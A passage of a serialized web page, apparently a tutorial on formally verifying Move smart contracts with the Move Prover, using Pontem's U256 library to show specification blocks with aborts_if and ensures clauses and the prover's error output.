",{"type":26,"tag":116,"props":9054,"children":9057},{"href":9055,"rel":9056},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[120],[9058],{"type":32,"value":9059},"Boogie",{"type":32,"value":9061},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":26,"tag":35,"props":9063,"children":9064},{},[9065],{"type":32,"value":9066},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":26,"tag":27,"props":9068,"children":9070},{"id":9069},"move-specification-language",[9071],{"type":32,"value":9072},"Move Specification Language",{"type":26,"tag":35,"props":9074,"children":9075},{},[9076],{"type":32,"value":9077},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":26,"tag":35,"props":9079,"children":9080},{},[9081,9083,9090],{"type":32,"value":9082},"To better understand how to use the MSL, we will use ",{"type":26,"tag":116,"props":9084,"children":9087},{"href":9085,"rel":9086},"https://github.com/pontem-network/u256",[120],[9088],{"type":32,"value":9089},"Pontem's U256 library",{"type":32,"value":9091},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":26,"tag":35,"props":9093,"children":9094},{},[9095],{"type":32,"value":9096},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":26,"tag":465,"props":9098,"children":9100},{"code":9099,"language":2684,"meta":7,"className":2685,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[9101],{"type":26,"tag":53,"props":9102,"children":9103},{"__ignoreMap":7},[9104,9147,9167,9187,9207,9227],{"type":26,"tag":475,"props":9105,"children":9106},{"class":477,"line":478},[9107,9112,9116,9121,9126,9130,9135,9139,9143],{"type":26,"tag":475,"props":9108,"children":9109},{"style":482},[9110],{"type":32,"value":9111},"struct",{"type":26,"tag":475,"props":9113,"children":9114},{"style":505},[9115],{"type":32,"value":4442},{"type":26,"tag":475,"props":9117,"children":9118},{"style":2375},[9119],{"type":32,"value":9120}," has",{"type":26,"tag":475,"props":9122,"children":9123},{"style":2375},[9124],{"type":32,"value":9125}," copy",{"type":26,"tag":475,"props":9127,"children":9128},{"style":499},[9129],{"type":32,"value":637},{"type":26,"tag":475,"props":9131,"children":9132},{"style":2375},[9133],{"type":32,"value":9134},"drop",{"type":26,"tag":475,"props":9136,"children":9137},{"style":499},[9138],{"type":32,"value":637},{"type":26,"tag":475,"props":9140,"children":9141},{"style":2375},[9142],{"type":32,"value":5654},{"type":26,"tag":475,"props":9144,"children":9145},{"style":499},[9146],{"type":32,"value":579},{"type":26,"tag":475,"props":9148,"children":9149},{"class":477,"line":516},[9150,9155,9159,9163],{"type":26,"tag":475,"props":9151,"children":9152},{"style":2375},[9153],{"type":32,"value":9154}," v0",{"type":26,"tag":475,"props":9156,"children":9157},{"style":714},[9158],{"type":32,"value":179},{"type":26,"tag":475,"props":9160,"children":9161},{"style":505},[9162],{"type":32,"value":5573},{"type":26,"tag":475,"props":9164,"children":9165},{"style":499},[9166],{"type":32,"value":2425},{"type":26,"tag":475,"props":9168,"children":9169},{"class":477,"line":539},[9170,9175,9179,9183],{"type":26,"tag":475,"props":9171,"children":9172},{"style":2375},[9173],{"type":32,"value":9174}," v1",{"type":26,"tag":475,"props":9176,"children":9177},{"style":714},[9178],{"type":32,"value":179},{"type":26,"tag":475,"props":9180,"children":9181},{"style":505},[9182],{"type":32,"value":5573},{"type":26,"tag":475,"props":9184,"children":9185},{"style":499},[9186],{"type":32,"value":2425},{"type":26,"tag":475,"props":9188,"children":9189},{"class":477,"line":548},[9190,9195,9199,9203],{"type":26,"tag":475,"props":9191,"children":9192},{"style":2375},[9193],{"type":32,"value":9194}," v2",{"type":26,"tag":475,"props":9196,"children":9197},{"style":714},[9198],{"type":32,"value":179},{"type":26,"tag":475,"props":9200,"children":9201},{"style":505},[9202],{"type":32,"value":5573},{"type":26,"tag":475,"props":9204,"children":9205},{"style":499},[9206],{"type":32,"value":2425},{"type":26,"tag":475,"props":9208,"children":9209},{"class":477,"line":558},[9210,9215,9219,9223],{"type":26,"tag":475,"props":9211,"children":9212},{"style":2375},[9213],{"type":32,"value":9214}," v3",{"type":26,"tag":475,"props":9216,"children":9217},{"style":714},[9218],{"type":32,"value":179},{"type":26,"tag":475,"props":9220,"children":9221},{"style":505},[9222],{"type":32,"value":5573},{"type":26,"tag":475,"props":9224,"children":9225},{"style":499},[9226],{"type":32,"value":2425},{"type":26,"tag":475,"props":9228,"children":9229},{"class":477,"line":582},[9230],{"type":26,"tag":475,"props":9231,"children":9232},{"style":499},[9233],{"type":32,"value":3607},{"type":26,"tag":35,"props":9235,"children":9236},{},[9237,9239,9245],{"type":32,"value":9238},"Now, let's consider the ",{"type":26,"tag":53,"props":9240,"children":9242},{"className":9241},[],[9243],{"type":32,"value":9244},"add(a: U256, b: U256): U256",{"type":32,"value":9246}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":26,"tag":35,"props":9248,"children":9249},{},[9250],{"type":32,"value":9251},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":26,"tag":35,"props":9253,"children":9254},{},[9255,9257,9263,9265,9272],{"type":32,"value":9256},"For example, if your file is ",{"type":26,"tag":53,"props":9258,"children":9260},{"className":9259},[],[9261],{"type":32,"value":9262},"sources/u256.move",{"type":32,"value":9264},", you can put specifications in ",{"type":26,"tag":116,"props":9266,"children":9269},{"href":9267,"rel":9268},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[120],[9270],{"type":32,"value":9271},"sources/u256.spec.move",{"type":32,"value":353},{"type":26,"tag":465,"props":9274,"children":9276},{"code":9275,"language":2684,"meta":7,"className":2685,"style":7},"spec add { ... }\n",[9277],{"type":26,"tag":53,"props":9278,"children":9279},{"__ignoreMap":7},[9280],{"type":26,"tag":475,"props":9281,"children":9282},{"class":477,"line":478},[9283,9287,9292,9296,9301],{"type":26,"tag":475,"props":9284,"children":9285},{"style":2375},[9286],{"type":32,"value":7986},{"type":26,"tag":475,"props":9288,"children":9289},{"style":2375},[9290],{"type":32,"value":9291}," add",{"type":26,"tag":475,"props":9293,"children":9294},{"style":499},[9295],{"type":32,"value":1101},{"type":26,"tag":475,"props":9297,"children":9298},{"style":714},[9299],{"type":32,"value":9300},"...",{"type":26,"tag":475,"props":9302,"children":9303},{"style":499},[9304],{"type":32,"value":1116},{"type":26,"tag":35,"props":9306,"children":9307},{},[9308,9310,9315],{"type":32,"value":9309},"The specifications placed inside the specification blocks are considered ",{"type":26,"tag":2615,"props":9311,"children":9312},{},[9313],{"type":32,"value":9314},"Expressions",{"type":32,"value":353},{"type":26,"tag":41,"props":9317,"children":9319},{"id":9318},"expressions",[9320],{"type":32,"value":9314},{"type":26,"tag":35,"props":9322,"children":9323},{},[9324],{"type":32,"value":9325},"Let's go over some common expressions.",{"type":26,"tag":35,"props":9327,"children":9328},{},[9329,9334],{"type":26,"tag":53,"props":9330,"children":9332},{"className":9331},[],[9333],{"type":32,"value":8036},{"type":32,"value":9335}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":26,"tag":35,"props":9337,"children":9338},{},[9339,9341,9347],{"type":32,"value":9340},"For example, the ",{"type":26,"tag":53,"props":9342,"children":9344},{"className":9343},[],[9345],{"type":32,"value":9346},"add",{"type":32,"value":9348}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":26,"tag":465,"props":9350,"children":9352},{"code":9351,"language":2684,"meta":7,"className":2685,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[9353],{"type":26,"tag":53,"props":9354,"children":9355},{"__ignoreMap":7},[9356,9390,9397,9446,9468,9497,9534,9575,9582,9589,9604,9685],{"type":26,"tag":475,"props":9357,"children":9358},{"class":477,"line":478},[9359,9364,9369,9373,9377,9381,9386],{"type":26,"tag":475,"props":9360,"children":9361},{"style":482},[9362],{"type":32,"value":9363},"const",{"type":26,"tag":475,"props":9365,"children":9366},{"style":499},[9367],{"type":32,"value":9368}," P64",{"type":26,"tag":475,"props":9370,"children":9371},{"style":714},[9372],{"type":32,"value":179},{"type":26,"tag":475,"props":9374,"children":9375},{"style":505},[9376],{"type":32,"value":8558},{"type":26,"tag":475,"props":9378,"children":9379},{"style":714},[9380],{"type":32,"value":2383},{"type":26,"tag":475,"props":9382,"children":9383},{"style":903},[9384],{"type":32,"value":9385}," 0x10000000000000000",{"type":26,"tag":475,"props":9387,"children":9388},{"style":499},[9389],{"type":32,"value":2729},{"type":26,"tag":475,"props":9391,"children":9392},{"class":477,"line":516},[9393],{"type":26,"tag":475,"props":9394,"children":9395},{"emptyLinePlaceholder":18},[9396],{"type":32,"value":545},{"type":26,"tag":475,"props":9398,"children":9399},{"class":477,"line":539},[9400,9404,9408,9413,9417,9421,9425,9429,9433,9437,9442],{"type":26,"tag":475,"props":9401,"children":9402},{"style":2375},[9403],{"type":32,"value":7986},{"type":26,"tag":475,"props":9405,"children":9406},{"style":2375},[9407],{"type":32,"value":490},{"type":26,"tag":475,"props":9409,"children":9410},{"style":493},[9411],{"type":32,"value":9412}," value_of_U256",{"type":26,"tag":475,"props":9414,"children":9415},{"style":499},[9416],{"type":32,"value":626},{"type":26,"tag":475,"props":9418,"children":9419},{"style":2375},[9420],{"type":32,"value":116},{"type":26,"tag":475,"props":9422,"children":9423},{"style":714},[9424],{"type":32,"value":179},{"type":26,"tag":475,"props":9426,"children":9427},{"style":505},[9428],{"type":32,"value":4442},{"type":26,"tag":475,"props":9430,"children":9431},{"style":499},[9432],{"type":32,"value":2835},{"type":26,"tag":475,"props":9434,"children":9435},{"style":714},[9436],{"type":32,"value":179},{"type":26,"tag":475,"props":9438,"children":9439},{"style":2375},[9440],{"type":32,"value":9441}," num",{"type":26,"tag":475,"props":9443,"children":9444},{"style":499},[9445],{"type":32,"value":579},{"type":26,"tag":475,"props":9447,"children":9448},{"class":477,"line":548},[9449,9454,9458,9463],{"type":26,"tag":475,"props":9450,"children":9451},{"style":2375},[9452],{"type":32,"value":9453}," a",{"type":26,"tag":475,"props":9455,"children":9456},{"style":714},[9457],{"type":32,"value":353},{"type":26,"tag":475,"props":9459,"children":9460},{"style":499},[9461],{"type":32,"value":9462},"v0 ",{"type":26,"tag":475,"props":9464,"children":9465},{"style":714},[9466],{"type":32,"value":9467},"+\n",{"type":26,"tag":475,"props":9469,"children":9470},{"class":477,"line":558},[9471,9475,9479,9484,9488,9492],{"type":26,"tag":475,"props":9472,"children":9473},{"style":2375},[9474],{"type":32,"value":9453},{"type":26,"tag":475,"props":9476,"children":9477},{"style":714},[9478],{"type":32,"value":353},{"type":26,"tag":475,"props":9480,"children":9481},{"style":499},[9482],{"type":32,"value":9483},"v1 ",{"type":26,"tag":475,"props":9485,"children":9486},{"style":714},[9487],{"type":32,"value":4282},{"type":26,"tag":475,"props":9489,"children":9490},{"style":505},[9491],{"type":32,"value":9368},{"type":26,"tag":475,"props":9493,"children":9494},{"style":714},[9495],{"type":32,"value":9496}," +\n",{"type":26,"tag":475,"props":9498,"children":9499},{"class":477,"line":582},[9500,9504,9508,9513,9517,9521,9526,9530],{"type":26,"tag":475,"props":9501,"children":9502},{"style":2375},[9503],{"type":32,"value":9453},{"type":26,"tag":475,"props":9505,"children":9506},{"style":714},[9507],{"type":32,"value":353},{"type":26,"tag":475,"props":9509,"children":9510},{"style":499},[9511],{"type":32,"value":9512},"v2 ",{"type":26,"tag":475,"props":9514,"children":9515},{"style":714},[9516],{"type":32,"value":4282},{"type":26,"tag":475,"props":9518,"children":9519},{"style":505},[9520],{"type":32,"value":9368},{"type":26,"tag":475,"props":9522,"children":9523},{"style":714},[9524],{"type":32,"value":9525}," *",{"type":26,"tag":475,"props":9527,"children":9528},{"style":505},[9529],{"type":32,"value":9368},{"type":26,"tag":475,"props":9531,"children":9532},{"style":714},[9533],{"type":32,"value":9496},{"type":26,"tag":475,"props":9535,"children":9536},{"class":477,"line":596},[9537,9541,9545,9550,9554,9558,9562,9566,9570],{"type":26,"tag":475,"props":9538,"children":9539},{"style":2375},[9540],{"type":32,"value":9453},{"type":26,"tag":475,"props":9542,"children":9543},{"style":714},[9544],{"type":32,"value":353},{"type":26,"tag":475,"props":9546,"children":9547},{"style":499},[9548],{"type":32,"value":9549},"v3 ",{"type":26,"tag":475,"props":9551,"children":9552},{"style":714},[9553],{"type":32,"value":4282},{"type":26,"tag":475,"props":9555,"children":9556},{"style":505},[9557],{"type":32,"value":9368},{"type":26,"tag":475,"props":9559,"children":9560},{"style":714},[9561],{"type":32,"value":9525},{"type":26,"tag":475,"props":9563,"children":9564},{"style":505},[9565],{"type":32,"value":9368},{"type":26,"tag":475,"props":9567,"children":9568},{"style":714},[9569],{"type":32,"value":9525},{"type":26,"tag":475,"props":9571,"children":9572},{"style":505},[9573],{"type":32,"value":9574}," P64\n",{"type":26,"tag":475,"props":9576,"children":9577},{"class":477,"line":610},[9578],{"type":26,"tag":475,"props":9579,"children":9580},{"style":499},[9581],{"type":32,"value":3607},{"type":26,"tag":475,"props":9583,"children":9584},{"class":477,"line":650},[9585],{"type":26,"tag":475,"props":9586,"children":9587},{"emptyLinePlaceholder":18},[9588],{"type":32,"value":545},{"type":26,"tag":475,"props":9590,"children":9591},{"class":477,"line":679},[9592,9596,9600],{"type":26,"tag":475,"props":9593,"children":9594},{"style":2375},[9595],{"type":32,"value":7986},{"type":26,"tag":475,"props":9597,"children":9598},{"style":2375},[9599],{"type":32,"value":9291},{"type":26,"tag":475,"props":9601,"children":9602},{"style":499},[9603],{"type":32,"value":579},{"type":26,"tag":475,"props":9605,"children":9606},{"class":477,"line":735},[9607,9612,9616,9620,9624,9628,9632,9636,9640,9644,9648,9653,9657,9661,9665,9669,9673,9677,9681],{"type":26,"tag":475,"props":9608,"children":9609},{"style":2375},[9610],{"type":32,"value":9611}," aborts_if",{"type":26,"tag":475,"props":9613,"children":9614},{"style":493},[9615],{"type":32,"value":9412},{"type":26,"tag":475,"props":9617,"children":9618},{"style":499},[9619],{"type":32,"value":626},{"type":26,"tag":475,"props":9621,"children":9622},{"style":2375},[9623],{"type":32,"value":116},{"type":26,"tag":475,"props":9625,"children":9626},{"style":499},[9627],{"type":32,"value":2794},{"type":26,"tag":475,"props":9629,"children":9630},{"style":714},[9631],{"type":32,"value":1106},{"type":26,"tag":475,"props":9633,"children":9634},{"style":493},[9635],{"type":32,"value":9412},{"type":26,"tag":475,"props":9637,"children":9638},{"style":499},[9639],{"type":32,"value":626},{"type":26,"tag":475,"props":9641,"children":9642},{"style":2375},[9643],{"type":32,"value":2930},{"type":26,"tag":475,"props":9645,"children":9646},{"style":499},[9647],{"type":32,"value":2794},{"type":26,"tag":475,"props":9649,"children":9650},{"style":714},[9651],{"type":32,"value":9652},">=",{"type":26,"tag":475,"props":9654,"children":9655},{"style":505},[9656],{"type":32,"value":9368},{"type":26,"tag":475,"props":9658,"children":9659},{"style":714},[9660],{"type":32,"value":9525},{"type":26,"tag":475,"props":9662,"children":9663},{"style":505},[9664],{"type":32,"value":9368},{"type":26,"tag":475,"props":9666,"children":9667},{"style":714},[9668],{"type":32,"value":9525},{"type":26,"tag":475,"props":9670,"children":9671},{"style":505},[9672],{"type":32,"value":9368},{"type":26,"tag":475,"props":9674,"children":9675},{"style":714},[9676],{"type":32,"value":9525},{"type":26,"tag":475,"props":9678,"children":9679},{"style":505},[9680],{"type":32,"value":9368},{"type":26,"tag":475,"props":9682,"children":9683},{"style":499},[9684],{"type":32,"value":2729},{"type":26,"tag":475,"props":9686,"children":9687},{"class":477,"line":744},[9688],{"type":26,"tag":475,"props":9689,"children":9690},{"style":499},[9691],{"type":32,"value":3607},{"type":26,"tag":35,"props":9693,"children":9694},{},[9695,9697,9704],{"type":32,"value":9696},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":26,"tag":116,"props":9698,"children":9701},{"href":9699,"rel":9700},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[120],[9702],{"type":32,"value":9703},"MSL function",{"type":32,"value":9705},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":26,"tag":35,"props":9707,"children":9708},{},[9709,9711,9716,9717,9722],{"type":32,"value":9710},"A common pattern for ",{"type":26,"tag":53,"props":9712,"children":9714},{"className":9713},[],[9715],{"type":32,"value":8036},{"type":32,"value":5213},{"type":26,"tag":53,"props":9718,"children":9720},{"className":9719},[],[9721],{"type":32,"value":8044},{"type":32,"value":9723},", which lets you prove that a function will never abort.",{"type":26,"tag":465,"props":9725,"children":9727},{"code":9726,"language":2684,"meta":7,"className":2685,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[9728],{"type":26,"tag":53,"props":9729,"children":9730},{"__ignoreMap":7},[9731,9747,9762],{"type":26,"tag":475,"props":9732,"children":9733},{"class":477,"line":478},[9734,9738,9743],{"type":26,"tag":475,"props":9735,"children":9736},{"style":2375},[9737],{"type":32,"value":7986},{"type":26,"tag":475,"props":9739,"children":9740},{"style":2375},[9741],{"type":32,"value":9742}," critical_function",{"type":26,"tag":475,"props":9744,"children":9745},{"style":499},[9746],{"type":32,"value":579},{"type":26,"tag":475,"props":9748,"children":9749},{"class":477,"line":516},[9750,9754,9758],{"type":26,"tag":475,"props":9751,"children":9752},{"style":2375},[9753],{"type":32,"value":9611},{"type":26,"tag":475,"props":9755,"children":9756},{"style":482},[9757],{"type":32,"value":8769},{"type":26,"tag":475,"props":9759,"children":9760},{"style":499},[9761],{"type":32,"value":2729},{"type":26,"tag":475,"props":9763,"children":9764},{"class":477,"line":539},[9765],{"type":26,"tag":475,"props":9766,"children":9767},{"style":499},[9768],{"type":32,"value":3607},{"type":26,"tag":35,"props":9770,"children":9771},{},[9772,9774,9780],{"type":32,"value":9773},"Another type of expression that we can use is ",{"type":26,"tag":53,"props":9775,"children":9777},{"className":9776},[],[9778],{"type":32,"value":9779},"ensures",{"type":32,"value":9781},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":26,"tag":35,"props":9783,"children":9784},{},[9785,9787,9792,9794,9799],{"type":32,"value":9786},"In the case of the ",{"type":26,"tag":53,"props":9788,"children":9790},{"className":9789},[],[9791],{"type":32,"value":9346},{"type":32,"value":9793}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":26,"tag":105,"props":9795,"children":9796},{},[9797],{"type":32,"value":9798},"MSL uses unbounded numbers",{"type":32,"value":9800},", we're able to very cleanly express this property without worrying about overflows.",{"type":26,"tag":465,"props":9802,"children":9804},{"code":9803,"language":2684,"meta":7,"className":2685,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[9805],{"type":26,"tag":53,"props":9806,"children":9807},{"__ignoreMap":7},[9808,9823,9902,9966],{"type":26,"tag":475,"props":9809,"children":9810},{"class":477,"line":478},[9811,9815,9819],{"type":26,"tag":475,"props":9812,"children":9813},{"style":2375},[9814],{"type":32,"value":7986},{"type":26,"tag":475,"props":9816,"children":9817},{"style":2375},[9818],{"type":32,"value":9291},{"type":26,"tag":475,"props":9820,"children":9821},{"style":499},[9822],{"type":32,"value":579},{"type":26,"tag":475,"props":9824,"children":9825},{"class":477,"line":516},[9826,9830,9834,9838,9842,9846,9850,9854,9858,9862,9866,9870,9874,9878,9882,9886,9890,9894,9898],{"type":26,"tag":475,"props":9827,"children":9828},{"style":2375},[9829],{"type":32,"value":9611},{"type":26,"tag":475,"props":9831,"children":9832},{"style":493},[9833],{"type":32,"value":9412},{"type":26,"tag":475,"props":9835,"children":9836},{"style":499},[9837],{"type":32,"value":626},{"type":26,"tag":475,"props":9839,"children":9840},{"style":2375},[9841],{"type":32,"value":116},{"type":26,"tag":475,"props":9843,"children":9844},{"style":499},[9845],{"type":32,"value":2794},{"type":26,"tag":475,"props":9847,"children":9848},{"style":714},[9849],{"type":32,"value":1106},{"type":26,"tag":475,"props":9851,"children":9852},{"style":493},[9853],{"type":32,"value":9412},{"type":26,"tag":475,"props":9855,"children":9856},{"style":499},[9857],{"type":32,"value":626},{"type":26,"tag":475,"props":9859,"children":9860},{"style":2375},[9861],{"type":32,"value":2930},{"type":26,"tag":475,"props":9863,"children":9864},{"style":499},[9865],{"type":32,"value":2794},{"type":26,"tag":475,"props":9867,"children":9868},{"style":714},[9869],{"type":32,"value":9652},{"type":26,"tag":475,"props":9871,"children":9872},{"style":505},[9873],{"type":32,"value":9368},{"type":26,"tag":475,"props":9875,"children":9876},{"style":714},[9877],{"type":32,"value":9525},{"type":26,"tag":475,"props":9879,"children":9880},{"style":505},[9881],{"type":32,"value":9368},{"type":26,"tag":475,"props":9883,"children":9884},{"style":714},[9885],{"type":32,"value":9525},{"type":26,"tag":475,"props":9887,"children":9888},{"style":505},[9889],{"type":32,"value":9368},{"type":26,"tag":475,"props":9891,"children":9892},{"style":714},[9893],{"type":32,"value":9525},{"type":26,"tag":475,"props":9895,"children":9896},{"style":505},[9897],{"type":32,"value":9368},{"type":26,"tag":475,"props":9899,"children":9900},{"style":499},[9901],{"type":32,"value":2729},{"type":26,"tag":475,"props":9903,"children":9904},{"class":477,"line":539},[9905,9910,9914,9918,9922,9926,9930,9934,9938,9942,9946,9950,9954,9958,9962],{"type":26,"tag":475,"props":9906,"children":9907},{"style":2375},[9908],{"type":32,"value":9909}," ensures",{"type":26,"tag":475,"props":9911,"children":9912},{"style":493},[9913],{"type":32,"value":9412},{"type":26,"tag":475,"props":9915,"children":9916},{"style":499},[9917],{"type":32,"value":626},{"type":26,"tag":475,"props":9919,"children":9920},{"style":2375},[9921],{"type":32,"value":8793},{"type":26,"tag":475,"props":9923,"children":9924},{"style":499},[9925],{"type":32,"value":2794},{"type":26,"tag":475,"props":9927,"children":9928},{"style":714},[9929],{"type":32,"value":8287},{"type":26,"tag":475,"props":9931,"children":9932},{"style":493},[9933],{"type":32,"value":9412},{"type":26,"tag":475,"props":9935,"children":9936},{"style":499},[9937],{"type":32,"value":626},{"type":26,"tag":475,"props":9939,"children":9940},{"style":2375},[9941],{"type":32,"value":116},{"type":26,"tag":475,"props":9943,"children":9944},{"style":499},[9945],{"type":32,"value":2794},{"type":26,"tag":475,"props":9947,"children":9948},{"style":714},[9949],{"type":32,"value":1106},{"type":26,"tag":475,"props":9951,"children":9952},{"style":493},[9953],{"type":32,"value":9412},{"type":26,"tag":475,"props":9955,"children":9956},{"style":499},[9957],{"type":32,"value":626},{"type":26,"tag":475,"props":9959,"children":9960},{"style":2375},[9961],{"type":32,"value":2930},{"type":26,"tag":475,"props":9963,"children":9964},{"style":499},[9965],{"type":32,"value":3533},{"type":26,"tag":475,"props":9967,"children":9968},{"class":477,"line":548},[9969],{"type":26,"tag":475,"props":9970,"children":9971},{"style":499},[9972],{"type":32,"value":3607},{"type":26,"tag":35,"props":9974,"children":9975},{},[9976],{"type":32,"value":9977},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":26,"tag":35,"props":9979,"children":9980},{},[9981],{"type":32,"value":9982},"Let's try to prove the library with the specifications from above:",{"type":26,"tag":465,"props":9984,"children":9986},{"code":9985,"language":3954,"meta":7,"className":3955,"style":7},"$ move prove\n",[9987],{"type":26,"tag":53,"props":9988,"children":9989},{"__ignoreMap":7},[9990],{"type":26,"tag":475,"props":9991,"children":9992},{"class":477,"line":478},[9993,9998,10003],{"type":26,"tag":475,"props":9994,"children":9995},{"style":493},[9996],{"type":32,"value":9997},"$",{"type":26,"tag":475,"props":9999,"children":10000},{"style":629},[10001],{"type":32,"value":10002}," move",{"type":26,"tag":475,"props":10004,"children":10005},{"style":629},[10006],{"type":32,"value":10007}," prove\n",{"type":26,"tag":35,"props":10009,"children":10010},{},[10011],{"type":32,"value":10012},"It outputs the following error information:",{"type":26,"tag":465,"props":10014,"children":10016},{"code":10015,"language":3954,"meta":7,"className":3955,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[10017],{"type":26,"tag":53,"props":10018,"children":10019},{"__ignoreMap":7},[10020,10027,10034,10096,10117,10207,10275,10287,10295,10302,10309,10316,10334,10395,10412,10429,10501,10517,10525,10532,10582,10590,10607],{"type":26,"tag":475,"props":10021,"children":10022},{"class":477,"line":478},[10023],{"type":26,"tag":475,"props":10024,"children":10025},{"style":499},[10026],{"type":32,"value":2219},{"type":26,"tag":475,"props":10028,"children":10029},{"class":477,"line":516},[10030],{"type":26,"tag":475,"props":10031,"children":10032},{"emptyLinePlaceholder":18},[10033],{"type":32,"value":545},{"type":26,"tag":475,"props":10035,"children":10036},{"class":477,"line":539},[10037,10042,10047,10052,10057,10062,10067,10072,10077,10082,10086,10091],{"type":26,"tag":475,"props":10038,"children":10039},{"style":493},[10040],{"type":32,"value":10041},"error:",{"type":26,"tag":475,"props":10043,"children":10044},{"style":629},[10045],{"type":32,"value":10046}," abort",{"type":26,"tag":475,"props":10048,"children":10049},{"style":629},[10050],{"type":32,"value":10051}," not",{"type":26,"tag":475,"props":10053,"children":10054},{"style":629},[10055],{"type":32,"value":10056}," covered",{"type":26,"tag":475,"props":10058,"children":10059},{"style":629},[10060],{"type":32,"value":10061}," by",{"type":26,"tag":475,"props":10063,"children":10064},{"style":629},[10065],{"type":32,"value":10066}," any",{"type":26,"tag":475,"props":10068,"children":10069},{"style":629},[10070],{"type":32,"value":10071}," of",{"type":26,"tag":475,"props":10073,"children":10074},{"style":629},[10075],{"type":32,"value":10076}," the",{"type":26,"tag":475,"props":10078,"children":10079},{"style":629},[10080],{"type":32,"value":10081}," `",{"type":26,"tag":475,"props":10083,"children":10084},{"style":493},[10085],{"type":32,"value":8036},{"type":26,"tag":475,"props":10087,"children":10088},{"style":629},[10089],{"type":32,"value":10090},"`",{"type":26,"tag":475,"props":10092,"children":10093},{"style":493},[10094],{"type":32,"value":10095}," clauses\n",{"type":26,"tag":475,"props":10097,"children":10098},{"class":477,"line":548},[10099,10104,10109,10113],{"type":26,"tag":475,"props":10100,"children":10101},{"style":493},[10102],{"type":32,"value":10103},"╭",{"type":26,"tag":475,"props":10105,"children":10106},{"style":629},[10107],{"type":32,"value":10108}," spec",{"type":26,"tag":475,"props":10110,"children":10111},{"style":629},[10112],{"type":32,"value":9291},{"type":26,"tag":475,"props":10114,"children":10115},{"style":629},[10116],{"type":32,"value":579},{"type":26,"tag":475,"props":10118,"children":10119},{"class":477,"line":558},[10120,10125,10130,10134,10138,10142,10146,10150,10154,10158,10162,10166,10171,10175,10179,10183,10187,10191,10195,10199,10203],{"type":26,"tag":475,"props":10121,"children":10122},{"style":714},[10123],{"type":32,"value":10124},"|",{"type":26,"tag":475,"props":10126,"children":10127},{"style":493},[10128],{"type":32,"value":10129}," aborts_if",{"type":26,"tag":475,"props":10131,"children":10132},{"style":629},[10133],{"type":32,"value":9412},{"type":26,"tag":475,"props":10135,"children":10136},{"style":499},[10137],{"type":32,"value":626},{"type":26,"tag":475,"props":10139,"children":10140},{"style":493},[10141],{"type":32,"value":116},{"type":26,"tag":475,"props":10143,"children":10144},{"style":499},[10145],{"type":32,"value":2794},{"type":26,"tag":475,"props":10147,"children":10148},{"style":629},[10149],{"type":32,"value":1106},{"type":26,"tag":475,"props":10151,"children":10152},{"style":629},[10153],{"type":32,"value":9412},{"type":26,"tag":475,"props":10155,"children":10156},{"style":499},[10157],{"type":32,"value":626},{"type":26,"tag":475,"props":10159,"children":10160},{"style":493},[10161],{"type":32,"value":2930},{"type":26,"tag":475,"props":10163,"children":10164},{"style":499},[10165],{"type":32,"value":2794},{"type":26,"tag":475,"props":10167,"children":10168},{"style":714},[10169],{"type":32,"value":10170},">",{"type":26,"tag":475,"props":10172,"children":10173},{"style":629},[10174],{"type":32,"value":786},{"type":26,"tag":475,"props":10176,"children":10177},{"style":629},[10178],{"type":32,"value":9368},{"type":26,"tag":475,"props":10180,"children":10181},{"style":482},[10182],{"type":32,"value":9525},{"type":26,"tag":475,"props":10184,"children":10185},{"style":629},[10186],{"type":32,"value":9368},{"type":26,"tag":475,"props":10188,"children":10189},{"style":482},[10190],{"type":32,"value":9525},{"type":26,"tag":475,"props":10192,"children":10193},{"style":629},[10194],{"type":32,"value":9368},{"type":26,"tag":475,"props":10196,"children":10197},{"style":482},[10198],{"type":32,"value":9525},{"type":26,"tag":475,"props":10200,"children":10201},{"style":629},[10202],{"type":32,"value":9368},{"type":26,"tag":475,"props":10204,"children":10205},{"style":499},[